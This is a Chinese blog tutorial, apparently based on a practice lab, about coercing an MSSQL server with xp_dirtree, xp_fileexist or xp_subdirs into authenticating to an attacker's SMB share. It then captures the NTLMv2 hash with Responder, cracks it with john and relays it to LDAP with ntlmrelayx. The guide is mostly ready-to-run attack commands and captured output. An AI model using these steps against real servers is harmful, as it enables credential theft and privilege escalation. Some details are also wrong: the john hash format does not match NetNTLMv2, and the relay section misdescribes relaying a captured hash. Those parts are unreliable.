MSSQL + SMB 捕获 NTLM 哈希和中继攻击

发布于:2025-05-28 ⋅ 阅读:(25) ⋅ 点赞:(0)

一、原理概述

1、MSSQL 服务器函数:

xp_dirtree、xp_fileexist 等存储过程在访问远程 SMB 共享时,会尝试使用服务账户身份进行身份验证。

2、触发 NTLM 认证请求:

当 MSSQL 执行上述函数访问远程路径(如 \\IP\SHARE)时,MSSQL 服务账户会向 SMB 服务器发送 NTLM 认证请求。

3、捕获 NTLM 哈希:

攻击者设置的监听器(如 Responder)能够捕获到这些 NTLM 哈希,进一步可以使用这些哈希进行爆破或中继攻击。

二、主要步骤

1、步骤 1

启动 Responder 监听器(Kali 攻击机)

Responder 是一个能够捕获网络中 NTLM 请求的工具。

在 Kali 上启动 Responder:

sudo responder -I tun0
-I tun0:指定监听的网络接口,通常是 tun0 或 eth0、wlan0 等。

确保使用正确的网络接口,特别是当使用 VPN 时,接口可能是 tun0。

Responder日志路径:/usr/share/responder/logs。

2、步骤 2

诱导 MSSQL 服务器发起 SMB 请求

在目标 MSSQL 服务器上执行以下 SQL 命令,诱导它连接到你的 SMB 共享:

EXEC master..xp_dirtree '\\10.10.14.XX\share';
10.10.14.XX:将其替换为你 Kali 攻击机的 IP 地址。

这条命令会让 MSSQL 尝试列出远程 SMB 路径下的文件和目录,触发 NTLM 身份验证请求。

3、步骤 3

其他可用诱导函数

如果 xp_dirtree 不可用,尝试以下其他函数来诱导 SMB 请求:

EXEC master..xp_fileexist '\\10.10.14.XX\share\test.txt';
EXEC master..xp_subdirs '\\10.10.14.XX\share';

这些命令同样会让 MSSQL 尝试访问指定的 SMB 路径,并触发身份验证请求。

三、捕获 NTLM 哈希

一旦 MSSQL 服务器尝试连接 SMB 共享,Resonpder 会捕获到 NTLM 请求,并显示如下信息:

[SMB] NTLMv2-SSP Client   : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sqlservice
[SMB] NTLMv2-SSP Hash     : sqlservice::sequel:1122334455667788...
NTLMv2-SSP Client:发起请求的客户端 IP。

NTLMv2-SSP Username:MSSQL 服务账户的用户名。

NTLMv2-SSP Hash:捕获到的 NTLM 哈希。

四、爆破 NTLM 哈希

捕获到的 NTLM 哈希可以使用 John the Ripper 或 Hashcat 进行暴力破解,尝试获取明文密码。

例如使用 john:

john hash.txt --format=NT
hash.txt 是保存 NTLM 哈希的文件。

五、NTLM 中继攻击

一旦捕获到 NTLM 哈希,可以使用 impacket-ntlmrelayx 工具将该哈希中继到目标服务(如 LDAP)进行进一步的攻击。

启动 NTLM 中继攻击:

python3 ntlmrelayx.py -smb2support -t ldap://10.10.11.202
-smb2support:支持 SMB2 协议。

-t ldap://10.10.11.202:指定目标服务地址,10.10.11.202 为目标 LDAP 服务器的 IP 地址。

这条命令会将捕获到的 NTLM 哈希中继到指定的 LDAP 服务器,从而可能进行身份验证,尝试执行权限提升或其他攻击。

六、相关工具总结

Responder:用于捕获 NTLM 认证请求并显示/保存哈希。

Impacket (ntlmrelayx):用于将捕获的 NTLM 哈希中继到其他服务(如 LDAP、SMB 等),进行进一步的权限提升攻击。


网站公告

今日签到

点亮在社区的每一天
去签到